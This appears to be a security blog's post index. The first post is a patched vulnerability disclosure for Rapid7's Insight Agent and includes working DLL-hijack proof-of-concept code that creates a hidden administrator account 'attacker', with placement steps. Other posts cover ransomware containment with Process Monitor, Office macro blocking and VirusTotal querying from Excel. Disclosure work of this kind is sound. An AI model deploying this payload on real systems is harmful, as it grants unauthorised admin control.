Jun 032019
 

With Insight IDR Rapid7 has created a very powerful, yet still easy to use Incident Detection and Response toolkit. During one of my latest assignments I found its Windows agent installed on my client’s systems.

While trying to disable it so that I can stay under the radar, I discovered a privilege escalation vulnerability in its Windows service. This vulnerability could be abused by any local user to gain full control over the affected system. It has been verified on a fully patched German Windows 10 x64 running Insight Agent v2.6.3.14. The issue has been fixed with version 2.6.5.

PS: Did I mention that I run my own company? It’s called Bee IT Security[German only], just in case you need world class penetration testing or security consulting services.

The underlying issue is that the ir_agent Windows Service, which is automatically started on system boot and runs with SYSTEM privileges, tries to load the DLL C:\DLLs\python3.dll

Although this path does not exist by default, it can be created by any local user. This is possible because the filesystem ACLs of the system drive allow anyone to create new subfolders.

With that knowledge, I created a new DLL that mimics the expected exports of the real python3.dll. However, instead of providing any of the expected functionality, it simply adds a new administrative user “attacker” to the system. You can download the full source here.

/*
Implement DLLMain with common datatypes so we don't have to include windows.h.
Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"date >> C:\\this_should_not_work.txt\"");
	system("net user attacker Batman42 /add");
	system("net localgroup Administrators attacker /add");
	system("net localgroup Administratoren attacker /add");
	exit(1);
	return 0;
}
...

After compiling it into a DLL I saved it (logically with a standard User account) as C:\DLLs\python3.dll.

After a reboot the DLL was loaded by the privileged Windows service ir_agent and the user attacker was created.

Proof of Concept

To confirm this issue yourself install the Insight IDR Windows Agent v2.6.3.14 (The issue has been fixed with version 2.6.5) and download the precompiled version of the malicious exploit DLL.

After that, as a non-admin user, create the folder C:\DLLs and place the library python3.dll therein. Now simply reboot the system. After that the new admin user attacker will be added. This proofs that full SYSTEM level access has been gained.

Suggested solution

All external dependencies should only be loaded from secure locations.

Timeline

  • 22.5.2019: The issue has been identified, documented and reported
  • 22.5.2019: The vulnerability has been confirmed by Rapid7
  • 29.5.2019: Rapid7 released a new version (2.6.5) of the Insight agent that fixes this vulnerability. CVE-2019-5629 has been assigned.
Apr 092019
 

Einer der schlimmsten Albträume vieler IT Sicherheitsverantwortlichen ist eingetreten: die zentralen Fileserver werden verschlüsselt…  Die wichtigste Frage ist nun:

Welche nächsten Schritte sind die Richtigen, um die Infektion einzudämmen?

Und genau darauf gibt dieses Whitepaper eine Antwort. Statt zentrale Systeme, wie eben Fileserver oder Datenbanken herunterzufahren, wird gezeigt, wie mit schnell umsetzbaren Tipps und Tricks die verursachenden Benutzerkonten und Systeme identifiziert und anschließend deren Zugriff geblockt werden kann. Dadurch wird die Infektion eingedämmt, ohne dass es zu weiteren Ausfällen kommt. All dies lässt sich mit etwas Vorbereitung und Übung bei Bedarf in weniger als 5 Minuten mit kostenlosen Tools umsetzen!

Kämpfen Sie gerade mit den Folgen eines Cryptolockers? Wir von Bee IT Security helfen! Kontaktieren Sie uns sofort und wir unterstützen bei der Umsetzung der hier beschriebenen Maßnahmen.

Vorraussetzungen

Damit die in diesem Whitepaper dokumentierte Herangehensweise umgesetzt werden kann, müssen einige Vorraussetzungen erfüllt sein:

  • Die Cryptolocker Infektion betrifft einen zentralen Fileserver, welcher über einen oder mehrere Windows Server bereitgestellt wird. Die Sharing Technologie (z.B.: klassisches SMB oder DFS) spielt hier nur eine untergeordnete Rolle.
  • Die Schadsoftware nutzt eine immer gleiche Dateiendung bzw. schreibt eine Informationsdatei mit ähnlichem Namen.
  • Es werden die Berechtigungen benötigt, um auf diesen Servern ein Programm herunterzuladen (bzw. darauf zu kopieren) und mit administrativen Rechten zu starten.
  • Um die Infektion einzudämmen, wird Zugriff auf den zentralen Verzeichnissdienst (meistens Active Directory) benötigt. Dadurch ist es möglich die betroffenen Nutzerkonten sofort zu sperren.
  • Im Idealfall: keine akute Cryptolocker Infektion, sondern Zeit für die Vorbereitung!

Ausgangspunkt

Ein falscher Klick kann ausreichen und der eigene Rechner ist mit Schadsoftware infiziert. Besonders Cryptolocker stellen hier seit bereits einigen Jahren eine akute Bedrohung dar. Immer wieder werden dabei von diesen „Erpressungs-Trojanern“ die klassischen Schutztechnologien, wie eben Virenscanner und Firewall, umgangen.

Einmal aktiv, beginnen Cryptolocker oft nun nicht mehr mit der Verschlüsselung des jeweiligen Endgerätes, sonders attackieren sofort die verbundenen Netzlaufwerke. Dieses Vorgehen macht sich für die Angreifer auch bezahlt: Der Ausfall eines Endnutzer-PCs kann meist ohne größere Beeinflussung des Betriebs verschmerzt werden. Sind jedoch die zentralen Dateiserver betroffen, können Teams, möglicherweise gar Abteilungen oder im schlimmsten Fall das ganze Unternehmen nicht mehr weiterarbeiten.

Kommt es in Unternehmen zu einem solchen Vorfall, werden oft – um vermeidlich Zeit zu gewinnen –die betroffenen Server herunterzufahren. Obwohl dies natürlich hilft den Schaden zu begrenzen, bringt es zwei gravierende Nachteile mit sich:

  • Unabhängig vom eigentlichen Problem, ist es nun keinem Mitarbeiter mehr möglich auf Daten zuzugreifen. Soll heißen, obwohl der Schaden beispielsweise auf Grund der Dateisystemberechtigungen sehr beschränkt gewesen wäre, kann nun von niemanden mehr weitergearbeitet werden. Oft werden in diesem Zusammenhang auch automatisierte Prozesse – wie z.B.: der Stücklistenexport für die Produktion, der jeder Stunde durchgeführt werden muss – vergessen. Daher ist es, bevor kritische Systeme heruntergefahren werden, immer sehr wichtig den dadurch selbst verursachten Schaden zu bedenken!
  • Windows Dateiserver schreiben in der Standardkonfiguration keine Audit Logs für Filesystem Operationen. Dies ist besonders problematisch da, sobald der betroffenen Server heruntergefahren wurde, der Verschlüsselungsvorgang am betroffenen Client abgebrochen wird. Dies macht jedoch die Lokalisierung der initialen Infektionsquelle sehr schwierig.
    Rein über die Dateisystemberechtigungen kann versucht werden herauszufinden, welche Benutzer bzw. Endgeräte als „Patient Zero“ infrage kommen. Jedes dieser Systeme muss anschließend manuell auf Infektionszeichen geprüft werden. Besonders wenn von vielen Benutzer genutzte Freigaben betroffen sind, handelt es sich dabei um einen äußerst mühsamen und langwierigen Prozess. Es ist jedoch unerlässlich die initiale Infektion zu bereinigen, da diese an sonst jederzeit wieder ausbrechen kann.

Das Prinzip: „Cryptolocker eindämmen leicht gemacht“

Daher ist es entscheidend möglichst schnell diese Quelle zu erkennen. Genau darauf zielt das Prinzip „Cryptolocker eindämmen leicht gemacht“ ab. Um das weitere Vorgehen zu verstehen, ist wichtig sich zu überlegen, welche Operationen von Cryptolockern ausgeführt und welche davon leicht erkannt werden können:

Ordnerinhalte auflisten

Zu Beginn bzw. während der Verschlüsselung, werden die zu verschlüsselnden Dateien rekursiv aufgelistet. Dabei handelt es sich um einen sehr ressourcenintensiven Prozess (I/O und Netzwerk) der jedoch nicht ohne spezielle Tools bzw. Konfigurationen detektiert werden kann.

Verschlüsselung

Die Verschlüsselung an sich passiert auf dem infizierten Client. Die dazu aufgewendete CPU Performance kann zwar mit Monitoring theoretisch erkannt werden, praktisch ist dies jedoch – selbst wenn diese Tools überhaupt zur Verfügung stehen – nur sehr schwierig möglich.

Malware Infektion

Die Schadsoftware an sich kann leider auch nicht einfach detektiert werden. Eine erfolgreiche Infektion war ja nur möglich, weil: 1.) kein Virenscanner am betroffenen Gerät installiert ist oder 2.) die Schadsoftware noch nicht von der eingesetzten Lösung erkannt wird.

Schreiben der verschlüsselten Dateien bzw. der Informationsdatei

Nachdem der Cryptolocker die Dateien verschlüsselt hat, werden diese wieder in den Originalordner zurückgeschrieben. Damit der Cryptolocker erkennt, welche Dateien bereits verschlüsselt wurden, wird dabei meistens eine neue Endung an den Dateinamen angefügt (aus Vertrag.docx wird so z.B.: Vertrag.docx.enc). Damit der Nutzer versteht, was mit den Dateien passiert ist und außerdem zur Zahlung des Lösegelds aufgefordert werden kann, wird meistens zusätzlich eine Informationsdatei (z.B.: ENCRYPTED.txt) in allen betroffenen Ordnern erstellt.

Genau diese beiden Vorgänge eigenen sich hervorragend, um einen aktuell laufenden Cryptolocker zu erkennen.

Das Tool der Wahl: der Process Monitor

Nur wie können solche Aktivitäten sichtbar gemacht werden? Am einfachsten geht dies mit dem von Microsoft kostenlos zur Verfügung gestelltem Tool „Process Monitor“. Damit ist es möglich, die Windows Systemaktivitäten zu protokollieren und auszuwerten:

Daher muss dieses kleine Programm auf dem oder den betroffenen Servern heruntergeladen und als Administrator gestartet werden. Ab diesem Zeitpunkt werden alle Systemaktivitäten protokolliert. Besonders auf Fileservern, die von vielen Benutzern verwendet werden, können diese Informationen nicht ohne weitere Konfiguration ausgewertet werden.

Aktivitäten des Dateiservers aufzeichnen

Besonders wichtig bei der Nutzung des Process Monitors für die Erkennung von Vorgängen auf Dateifreigaben ist die Aktivierung des „Advanced Output“. Erst damit werden Aktivitäten auf Freigaben (z.B.: SMB, DFS) überhaupt sichtbar. Standardmäßig werden diese Daten nicht protokolliert bzw. angezeigt.

Filter setzen

Im nächsten Schritt müssen über die „Filter“ Funktion die Informationen eingeschränkt werden. Zu Beginn empfiehlt es sich hier über die Symbolleiste nur mehr Dateisystemoperationen zu betrachten (1). Anschließend kann über den Dialog „Process Monitor Filter“ (Menü Filter -> Filter…) genau definiert werden, welche Operationen geloggt werden sollen (2):

Hier ist es entscheidend die Konfiguration für den jeweiligen Cryptolocker anzupassen. Lediglich die erste Zeile („Operation is IRP_MJ_CREATE: Include“) kann immer direkt übernommen werden. Damit werden nur mehr Operationen für die Erstellung von neuen Dateien und Verzeichnissen betrachtet.

Werden vom Cryptolocker die verschlüsselten Dateien mit der Dateiendung .enc abgelegt, kann beispielsweise der folgende Filter verwendet werden: „Path ends with .enc: Include“. Dadurch werden nur mehr Dateien betrachtet, deren Name mit .enc endet.

Enthält die Informationsdatei beispielsweise immer ENCRYPTED im Dateinamen hilft der Filter „Path contains ENCRYPTED: Include

Auswerten der Loginformationen

Sobald diese Filterkonfiguration angewendet wurde, werden nur mehr die vom Cryptolocker verursachten Dateisystem Operationen angezeigt. Platziert man anschließend den Mauszeiger über einen Eintrag der Spalte „Detail“, wird der jeweilige Benutzername angezeigt, der diesen Schreibvorgang initiierte.

Dabei handelt es sich um das Benutzerkonto des Anwenders, der als „Patient Zero“ für die Verschlüsselung verantwortlich ist.

Stoppen der Infektion

Ausgestattet mit diesem Wissen kann nun gehandelt werden. Es empfiehlt sich sofort das betroffene Benutzerkonto zu deaktivieren:

Über das Computer Management sollten außerdem alle bestehenden Sessions sofort beendet werden:

Das betroffene Gerät sollte nun natürlich auch vom Netzwerk getrennt werden.

Fazit

Durch das in diesem Whitepaper dokumentierte Vorgehen ist es möglich eine akute Cryptolocker Infektion in nur wenigen Minuten zu lokalisieren und entsprechende Gegenmaßnahmen einzuleiten.

Damit ist es nicht notwendig zentrale Systeme herunterzufahren, sondern nur gezielt die wirklich betroffenen Benutzerkonten zu sperren. Dies vermeidet unnötige Ausfälle und hilft so die Incident Behebung erheblich zu beschleunigen. Das beschriebene Verfahren wurde durch Experten der Bee IT Security schon vielfach eingesetzt und wird daher vollumfänglich empfohlen!

Wichtig ist, dass nachdem die Infektion eingedämmt werden konnte, eine weitere Analyse gestartet werden muss. Dabei ist zu beantworten, wie der Cryptolocker überhaupt die bestehenden Schutzmechanismen umgehen konnte und wie entsprechende Angriffe in Zukunft verhindert werden können.


Mar 122019
 

By now, everyone even remotely interested in IT knows that Office Macros are widely abused by The Bad Guys (R) to infect systems with malware. One of the latest Cryptolocker families that applied this trick was the Gandcrab malware:

To minimise the risk of a successful infection, I always encourage my clients to block the execution of Office macros. One really great way to do so is the Group Policy “Block macros from running in Office files from the Internet“.

Thereby all end-users are still able to run their internal macros, whereas every document that was downloaded from the web or received by mail is blocked from executing active content.

In the background this is implemented with the help of the Mark-Of-The-Web. This NTFS Alternate Data Stream is set by all modern browsers and mail clients and flags the corresponding file as downloaded from the web.

Did I say: All modern mail clients? Well, almost all I guess… Because Lotus Notes does not set the appropriate flag.

This is pretty bad, because it renders the GPO “Block macros from running in Office files from the Internet” effectively useless. As Microsoft Office has no clue that a file has been downloaded – because the Mark-Of-The-Web is missing – the macros can still be executed…

Unfortunately, I don’t have a workaround… I hope this post at least helps someone else save a few hours of research time.

Jan 212019
 

Just a short disclaimer: Ok, I know… Excel might not be your tools of choice for querying VirusTotal, but there are valid reasons to use it. So, if you think this is a stupid idea – which it might be after all – please let me have my fun…

Recently one of my clients approached me with a very interesting question: Can VirusTotal be queried from Microsoft Excel? The reason for this request was pretty simple: They deployed a new EDR solution which they were still integrating into their SOC workflow. In the meantime they were searching for a graphical way to check all the newly gathered file hashes against VT.

PS: Did I mention that I now run my own company? It’s called Bee IT Security[German only], just in case you need world class penetration testing or security consulting services.

This sounded interesting to me so I dusted off my VBA skills and started some research… As it turns out, there is a fully documented public VirusTotal API and there are libraries to parse the JSON reply from within VBA.

After a few hours of work I can now finally conclude: Yep, it’s totally possible to run VirusTotal queries from within Excel. And yes, I’m providing the XLSM file for free. Just press the big green “Download” button a few lines down. But you should continue reading this post to get the most out of it.

My VirusTotal Checker built within Microsoft Excel

Getting everything ready

So before you can use the tool you have to get a VirusTotal API key. If you already have one, you can skip this step. Luckily this is pretty easy: Just get yourself a Community account and then visit your profile. There you can copy your API key:

Pro Tip: Yours should not be blured

Next, download my XLSM VirusTotal checker:

After opening it, you have to accept the Macro execution. Always remember: Don’t execute macros from untrusted sources! (But you know me, I’m a nice guy). Just for reference: this version has only been tested on Windows.

Finally switch to the “Config” table and paste your VirusTotal API key into the corresponding line.

Using the file

Great, you are now ready to rock. The big question is how do you use the file efficiently? Use the Importer! This first script helps you to minimise the number of VirusTotal queries by removing duplicate hashes.

So switch to the Importer table and clear its content. Next, paste your hashes in the given format: the first row is your identifier, the second row the MD5 hash of the file to check. Don’t include empty rows as they are considered the end of the list.

Open the actual importer by clicking the button “Import to Hashes Tables” and start the process using the newly opened window.

This task now copies all the hashes that are new to the Hashes table. All already existing hashes are simply marked as duplicate.

Finally querying VirusTotal

Thanks for reading that far: But now we are finally ready to query VirusTotal. So, switch over to the Hashes table.

There you should see all your already queried as well as your newly imported hashes. Whenever you want to recheck a given hash, simply empty its result. Please don’t add any empty lines as again they are used to detect the end of the list.

To start the process press the “Query Virus Total” button and the click start.

As shown above, new results will appear as the query process continues. There are three possible outputs: Malicious, Unknown and Good. I think they are pretty self explaining. Besides every result the actual detection rate is shown.

For more information you can check out the source code. The interesting part is within the VTQuery module. The rest is just code for gluing everything together.

If you have any further question, please leave a comment below.

Dec 272015
 

Over the past few month it has been quite silent here…

The reason was that I was fully – and I really mean fully – occupied by preparing and taking the Offensive Security Certified Professional (OSCP) exam.

I can now proudly declare that I survived and that I passed the exam on the first attempt! Thanks Offensive Security for consuming so much of my time and nerves 😉

offsec-student-certified-emblem-rgb-oscp

Anyway, expect a few post to come in the following weeks. I already have some ideas floating around…

Aug 262014
 

We have a client that uses Final Cut Pro 7 on several Mac Pros running Mavericks to edit and capture videos on our flow:rage video storage. They are working with SD material encoded as either IMX 50 or ProRes. They reported that sometimes after stopping the capture within Final Cut Pro 7 using the ESC key the newly created video would not show up.

After hours trying to reliable reproduce the issue I gave up. What I can say is that some capture files (like 1 in 20) stop to grow during the ingest on network volumes. No log entries are created. I think that the network connection or the network stack within the kernel stalls. All network protocols tested (AFP, SMB and NFS) suffered the same problem on multiple servers. The temporary capture file with the “-avpostfix stays within the destination folder with a broken and presumably unrecoverable QuickTime header.

FCP Capture

I further discussed the issue with the main developer of just:in, ToolOnAir’s ingest solution. He confirmed that just:in successfully uses the QuickTime 7 API to write IMX and ProRes encoded video files to network storages.

QT7 Capture

As the underlying QuickTime 7 API is still working as expected I conclude that this issue is another bug affecting Final Cut Pro 7 under Mavericks. I worked around this problem by creating a local watchfolder that moves the captured file automatically to the flow:rage.

Mar 302014
 

In my post How to Create a RAM Disk – The Easy Way I released RamDiskCreator. As the name suggest it’s only duty is to create a RAM disk. The following AppleScript function does the same. I wrote it for Uwe to create two RAM disks at startup.

on createRamDisk(sizeInMB, volumeName)
	set sizeInSectors to round sizeInMB * 1024 * 1024 / 512 rounding up
	set cmd to "diskutil erasevolume HFS+ '" & volumeName & "' `hdiutil attach -nomount ram://" & sizeInSectors & "`"
	try
		do shell script cmd
		return true
	on error
		return false
	end try
end createRamDisk

You can download the source here.